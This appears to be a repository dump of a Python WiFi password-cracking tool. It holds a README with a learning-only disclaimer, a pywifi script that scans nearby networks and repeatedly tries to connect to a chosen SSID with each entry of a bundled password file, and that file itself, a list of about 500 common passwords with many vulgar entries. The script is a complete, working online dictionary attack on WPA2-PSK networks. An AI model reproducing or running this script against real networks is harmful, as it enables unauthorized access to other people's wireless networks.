├── README.md └── WiFi密码破解 ├── wifi密码破解脚本.py └── 密码本.txt /README.md: -------------------------------------------------------------------------------- 1 | # python-wifi 2 | python利用pywifi模块进行WiFi密码破解 3 | 4 | 1.在运行前请把WiFi开关打开,否者会报错 5 | 2.本示例只是技术学习所用,切勿用于实际生活 6 | 3.该方法速度很慢只能用作参考学习 7 | -------------------------------------------------------------------------------- /WiFi密码破解/wifi密码破解脚本.py: -------------------------------------------------------------------------------- 1 | import os 2 | from pywifi import PyWiFi, const, Profile 3 | import time 4 | 5 | def scan_wifi(iface): 6 | iface.scan() 7 | print("---扫描周围WiFi中---") 8 | time.sleep(1) 9 | for i in iface.scan_results(): 10 | print("WiFi名称:" + i.ssid.encode("raw_unicode_escape").decode() + ",信号强度:", str(i.signal + 100) + "%") 11 | 12 | def connect_to_wifi(iface, password, ssid): 13 | try: 14 | profile = Profile() 15 | profile.ssid = ssid.encode().decode("GBK") 16 | profile.akm.append(const.AKM_TYPE_WPA2PSK) 17 | profile.auth = const.AUTH_ALG_OPEN 18 | profile.cipher = const.CIPHER_TYPE_CCMP 19 | profile.key = password 20 | iface.remove_all_network_profiles() 21 | test_profiles = iface.add_network_profile(profile) 22 | iface.connect(test_profiles) 23 | time.sleep(1) 24 | return iface.status() == const.IFACE_CONNECTED 25 | except Exception as e: 26 | print(f"连接失败: {e}") 27 | return False 28 | 29 | def main(): 30 | wifi = PyWiFi() 31 | iface = wifi.interfaces()[0] # 假设只有一个接口 32 | path = os.path.dirname(__file__) 33 | file_path = os.path.join(path, "密码本.txt") 34 | 35 | if iface.status() == const.IFACE_CONNECTED: 36 | print("请断开WiFi,再尝试运行!") 37 | status = input("如果断开WiFi可以输入1,退出脚本请按任意键: ") 38 | if status.strip() == "1": 39 | iface.disconnect() 40 | print("---断开WiFi中---") 41 | time.sleep(1) 42 | elif iface.status() != const.IFACE_DISCONNECTED: 43 | print("当前网卡状态异常!!!\n请重新运行") 44 | return 45 | 46 | scan_wifi(iface) 47 | wifi_name = input("请输入想破解的WiFi名称: ") 48 | print("---开始破解---") 49 | with open(file_path, "r") as f: 50 | for pwd in f: 51 | if connect_to_wifi(iface, pwd.strip(), wifi_name): 52 | print("破解成功,密码为:", pwd.strip()) 53 | break 54 | else: 55 | print("破解失败,正在尝试下一个密码...") 56 | 57 | if __name__ == "__main__": 58 | main() -------------------------------------------------------------------------------- /WiFi密码破解/密码本.txt: -------------------------------------------------------------------------------- 1 | 123456 2 | password 3 | 12345678 4 | 1234 5 | pussy 6 | 12345 7 | dragon 8 | qwerty 9 | 696969 10 | mustang 11 | letmein 12 | baseball 13 | master 14 | michael 15 | football 16 | shadow 17 | monkey 18 | abc123 19 | pass 20 | fuckme 21 | 6969 22 | jordan 23 | harley 24 | ranger 25 | iwantu 26 | jennifer 27 | hunter 28 | fuck 29 | 2000 30 | test 31 | batman 32 | trustno1 33 | thomas 34 | tigger 35 | robert 36 | access 37 | love 38 | buster 39 | 1234567 40 | soccer 41 | hockey 42 | killer 43 | george 44 | sexy 45 | andrew 46 | charlie 47 | superman 48 | asshole 49 | fuckyou 50 | dallas 51 | jessica 52 | panties 53 | pepper 54 | 1111 55 | austin 56 | william 57 | daniel 58 | golfer 59 | summer 60 | heather 61 | hammer 62 | yankees 63 | joshua 64 | maggie 65 | znmd6b414 66 | 88888888 67 | biteme 68 | enter 69 | ashley 70 | thunder 71 | cowboy 72 | silver 73 | richard 74 | fucker 75 | orange 76 | merlin 77 | michelle 78 | corvette 79 | bigdog 80 | cheese 81 | matthew 82 | 121212 83 | patrick 84 | martin 85 | freedom 86 | ginger 87 | blowjob 88 | nicole 89 | sparky 90 | yellow 91 | camaro 92 | secret 93 | dick 94 | falcon 95 | taylor 96 | 111111 97 | 131313 98 | 123123 99 | bitch 100 | hello 101 | scooter 102 | please 103 | porsche 104 | guitar 105 | chelsea 106 | black 107 | diamond 108 | nascar 109 | jackson 110 | cameron 111 | 654321 112 | computer 113 | amanda 114 | wizard 115 | xxxxxxxx 116 | money 117 | phoenix 118 | mickey 119 | bailey 120 | knight 121 | iceman 122 | tigers 123 | purple 124 | andrea 125 | horny 126 | dakota 127 | aaaaaa 128 | player 129 | sunshine 130 | morgan 131 | starwars 132 | boomer 133 | cowboys 134 | edward 135 | charles 136 | girls 137 | booboo 138 | coffee 139 | xxxxxx 140 | bulldog 141 | ncc1701 142 | rabbit 143 | peanut 144 | john 145 | johnny 146 | gandalf 147 | spanky 148 | winter 149 | brandy 150 | compaq 151 | carlos 152 | tennis 153 | james 154 | mike 155 | brandon 156 | fender 157 | anthony 158 | blowme 159 | ferrari 160 | cookie 161 | chicken 162 | maverick 163 | chicago 164 | joseph 165 | diablo 166 | sexsex 167 | hardcore 168 | 666666 169 | willie 170 | welcome 171 | chris 172 | panther 173 | yamaha 174 | justin 175 | banana 176 | driver 177 | marine 178 | angels 179 | fishing 180 | david 181 | maddog 182 | hooters 183 | wilson 184 | butthead 185 | dennis 186 | fucking 187 | captain 188 | bigdick 189 | chester 190 | smokey 191 | xavier 192 | steven 193 | viking 194 | snoopy 195 | blue 196 | eagles 197 | winner 198 | samantha 199 | house 200 | miller 201 | flower 202 | jack 203 | firebird 204 | butter 205 | united 206 | turtle 207 | steelers 208 | tiffany 209 | zxcvbn 210 | tomcat 211 | golf 212 | bond007 213 | bear 214 | tiger 215 | doctor 216 | gateway 217 | gators 218 | angel 219 | junior 220 | thx1138 221 | porno 222 | badboy 223 | debbie 224 | spider 225 | melissa 226 | booger 227 | 1212 228 | flyers 229 | fish 230 | porn 231 | matrix 232 | teens 233 | scooby 234 | jason 235 | walter 236 | cumshot 237 | boston 238 | braves 239 | yankee 240 | lover 241 | barney 242 | victor 243 | tucker 244 | princess 245 | mercedes 246 | 5150 247 | doggie 248 | zzzzzz 249 | gunner 250 | horney 251 | bubba 252 | 2112 253 | fred 254 | johnson 255 | xxxxx 256 | tits 257 | member 258 | boobs 259 | donald 260 | bigdaddy 261 | bronco 262 | penis 263 | voyager 264 | rangers 265 | birdie 266 | trouble 267 | white 268 | topgun 269 | bigtits 270 | bitches 271 | green 272 | super 273 | qazwsx 274 | magic 275 | lakers 276 | rachel 277 | slayer 278 | scott 279 | 2222 280 | asdf 281 | video 282 | london 283 | 7777 284 | marlboro 285 | srinivas 286 | internet 287 | action 288 | carter 289 | jasper 290 | monster 291 | teresa 292 | jeremy 293 | 11111111 294 | bill 295 | crystal 296 | peter 297 | pussies 298 | cock 299 | beer 300 | rocket 301 | theman 302 | oliver 303 | prince 304 | beach 305 | amateur 306 | 7777777 307 | muffin 308 | redsox 309 | star 310 | testing 311 | shannon 312 | murphy 313 | frank 314 | hannah 315 | dave 316 | eagle1 317 | 11111 318 | mother 319 | nathan 320 | raiders 321 | steve 322 | forever 323 | angela 324 | viper 325 | ou812 326 | jake 327 | lovers 328 | suckit 329 | gregory 330 | buddy 331 | whatever 332 | young 333 | nicholas 334 | lucky 335 | helpme 336 | jackie 337 | monica 338 | midnight 339 | college 340 | baby 341 | cunt 342 | brian 343 | mark 344 | startrek 345 | sierra 346 | leather 347 | 232323 348 | 4444 349 | beavis 350 | bigcock 351 | happy 352 | sophie 353 | ladies 354 | naughty 355 | giants 356 | booty 357 | blonde 358 | fucked 359 | golden 360 | 0 361 | fire 362 | sandra 363 | pookie 364 | packers 365 | einstein 366 | dolphins 367 | 0 368 | chevy 369 | winston 370 | warrior 371 | sammy 372 | slut 373 | 8675309 374 | zxcvbnm 375 | nipples 376 | power 377 | victoria 378 | asdfgh 379 | vagina 380 | toyota 381 | travis 382 | hotdog 383 | paris 384 | rock 385 | xxxx 386 | extreme 387 | redskins 388 | erotic 389 | dirty 390 | ford 391 | freddy 392 | arsenal 393 | access14 394 | wolf 395 | nipple 396 | iloveyou 397 | alex 398 | florida 399 | eric 400 | legend 401 | movie 402 | success 403 | rosebud 404 | jaguar 405 | great 406 | cool 407 | cooper 408 | 1313 409 | scorpio 410 | mountain 411 | madison 412 | 987654 413 | brazil 414 | lauren 415 | japan 416 | naked 417 | squirt 418 | stars 419 | apple 420 | alexis 421 | aaaa 422 | bonnie 423 | peaches 424 | jasmine 425 | kevin 426 | matt 427 | qwertyui 428 | danielle 429 | beaver 430 | 4321 431 | 4128 432 | runner 433 | swimming 434 | dolphin 435 | gordon 436 | casper 437 | stupid 438 | shit 439 | saturn 440 | gemini 441 | apples 442 | august 443 | 3333 444 | canada 445 | blazer 446 | cumming 447 | hunting 448 | kitty 449 | rainbow 450 | 112233 451 | arthur 452 | cream 453 | calvin 454 | shaved 455 | surfer 456 | samson 457 | kelly 458 | paul 459 | mine 460 | king 461 | racing 462 | 5555 463 | eagle 464 | hentai 465 | newyork 466 | little 467 | redwings 468 | smith 469 | sticky 470 | cocacola 471 | animal 472 | broncos 473 | private 474 | skippy 475 | marvin 476 | blondes 477 | enjoy 478 | girl 479 | apollo 480 | parker 481 | qwert 482 | time 483 | sydney 484 | women 485 | voodoo 486 | magnum 487 | juice 488 | abgrtyu 489 | 777777 490 | dreams 491 | maxwell 492 | music 493 | rush2112 494 | russia 495 | scorpion 496 | rebecca 497 | tester 498 | mistress 499 | phantom 500 | billy 501 | 6666 502 | albert --------------------------------------------------------------------------------